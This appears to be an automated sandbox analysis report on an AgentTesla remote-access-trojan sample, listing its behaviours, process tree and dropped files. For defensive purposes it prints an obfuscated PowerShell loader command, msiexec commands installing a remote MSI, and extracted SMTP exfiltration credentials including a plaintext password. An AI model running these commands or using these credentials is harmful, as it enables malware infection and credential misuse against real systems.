Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/05/2026, 12:05

General

  • Target
    BIK1911486_20260507.js
  • Size 349KB
  • Sample260507-n9dnmsgz3l
  • SHA256 55897a63a54fd6421abb0c83c5ef3a839eb5adf1bb60bbb57d5118f52789bdcd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    smtp.hostinger.com

  • Port

    587

  • Password

    Pingdata1234@@

Extracted

Family
  • agenttesla

Credentials

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Use of msiexec (install) with remote resource 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 21 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\BIK1911486_20260507.js
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" Z:\port\can\windows
      2⤵
      • Enumerates connected drives
      PID:612
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3544
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi
      2⤵
      • Use of msiexec (install) with remote resource
      • Event Triggered Execution: Installer Packages
      PID:2840
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi
      2⤵
      • Badlisted process makes network request
      • Use of msiexec (install) with remote resource
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Event Triggered Execution: Installer Packages
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi
        3⤵
        • Use of msiexec (install) with remote resource
        • Event Triggered Execution: Installer Packages
        PID:4504

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e1d104dc39351a13e07f71543ff791999e42713b7ffdf67c16273dff17be2c48
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_c1h31ixl.qtp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1h31ixl.qtp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Wallopeds.Tel

        • Path C:\Users\Admin\AppData\Roaming\Wallopeds.Tel
        • Size 436KB
        • SHA256 da154345219a59f572cb49359ebbe3787f6db0db31d0e8efecb90bba2ce9623b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Tofags

        • Path C:\Users\Admin\appdata\roaming\Tofags
        • Size 3KB
        • SHA256 2a357cd0aafb292629afb25292097b58dbefa292e21605b9eb2b2eaa739e0c59
        • MD5 SHA1 SHA512 TLSH

        memory/2416-78-0x0000000001200000-0x0000000002517000-memory.dmp

        memory/2416-89-0x0000000020BC0000-0x0000000020BCA000-memory.dmp

        memory/2416-76-0x0000000001200000-0x0000000002517000-memory.dmp

        memory/2416-79-0x0000000001200000-0x0000000001244000-memory.dmp

        memory/2416-81-0x000000001E3C0000-0x000000001E3C6000-memory.dmp

        memory/2416-86-0x00000000209F0000-0x0000000020A40000-memory.dmp

        memory/2416-87-0x0000000020AE0000-0x0000000020B7C000-memory.dmp

        memory/2416-88-0x0000000021320000-0x00000000213B2000-memory.dmp

        memory/2460-12-0x0000021D85190000-0x0000021D8519C000-memory.dmp

        memory/3544-11-0x000001F09B150000-0x000001F09B172000-memory.dmp

        memory/3544-27-0x000001F0B3700000-0x000001F0B3706000-memory.dmp

        memory/3544-28-0x000001F0B3710000-0x000001F0B371A000-memory.dmp

        memory/3544-34-0x000001F09B100000-0x000001F09B112000-memory.dmp

        memory/3544-33-0x000001F0996A0000-0x000001F0996AC000-memory.dmp

        memory/3544-26-0x000001F0B36D0000-0x000001F0B36D8000-memory.dmp

        memory/3544-25-0x000001F0B3C40000-0x000001F0B3C5A000-memory.dmp

        memory/3544-24-0x000001F0B36C0000-0x000001F0B36CA000-memory.dmp

        memory/3544-23-0x000001F0B36E0000-0x000001F0B36FC000-memory.dmp

        memory/3544-22-0x000001F0B36A0000-0x000001F0B36AA000-memory.dmp

        memory/3544-21-0x000001F0B3930000-0x000001F0B39E3000-memory.dmp

        memory/3544-20-0x000001F0B3680000-0x000001F0B369C000-memory.dmp

        memory/4204-48-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

        memory/4204-68-0x00000000074E0000-0x00000000074EE000-memory.dmp

        memory/4204-52-0x0000000006270000-0x0000000006292000-memory.dmp

        memory/4204-51-0x0000000006220000-0x000000000623A000-memory.dmp

        memory/4204-53-0x0000000007560000-0x0000000007B06000-memory.dmp

        memory/4204-54-0x0000000008190000-0x000000000880A000-memory.dmp

        memory/4204-55-0x0000000007120000-0x0000000007154000-memory.dmp

        memory/4204-57-0x00000000707C0000-0x0000000070B17000-memory.dmp

        memory/4204-64-0x0000000007180000-0x000000000719E000-memory.dmp

        memory/4204-65-0x0000000007230000-0x00000000072D4000-memory.dmp

        memory/4204-56-0x00000000705D0000-0x000000007061C000-memory.dmp

        memory/4204-66-0x0000000007330000-0x000000000733A000-memory.dmp

        memory/4204-67-0x00000000074C0000-0x00000000074D1000-memory.dmp

        memory/4204-50-0x0000000006CA0000-0x0000000006D36000-memory.dmp

        memory/4204-69-0x00000000074F0000-0x0000000007505000-memory.dmp

        memory/4204-70-0x0000000007530000-0x000000000754A000-memory.dmp

        memory/4204-71-0x0000000007520000-0x0000000007528000-memory.dmp

        memory/4204-73-0x0000000008810000-0x000000000BE61000-memory.dmp

        memory/4204-49-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

        memory/4204-46-0x0000000005860000-0x0000000005BB7000-memory.dmp

        memory/4204-39-0x00000000056F0000-0x0000000005756000-memory.dmp

        memory/4204-38-0x0000000005680000-0x00000000056E6000-memory.dmp

        memory/4204-37-0x0000000004E50000-0x0000000004E72000-memory.dmp

        memory/4204-36-0x0000000005050000-0x000000000567A000-memory.dmp

        memory/4204-35-0x00000000024F0000-0x0000000002526000-memory.dmp

        memory/4204-74-0x00000000049F0000-0x00000000049F6000-memory.dmp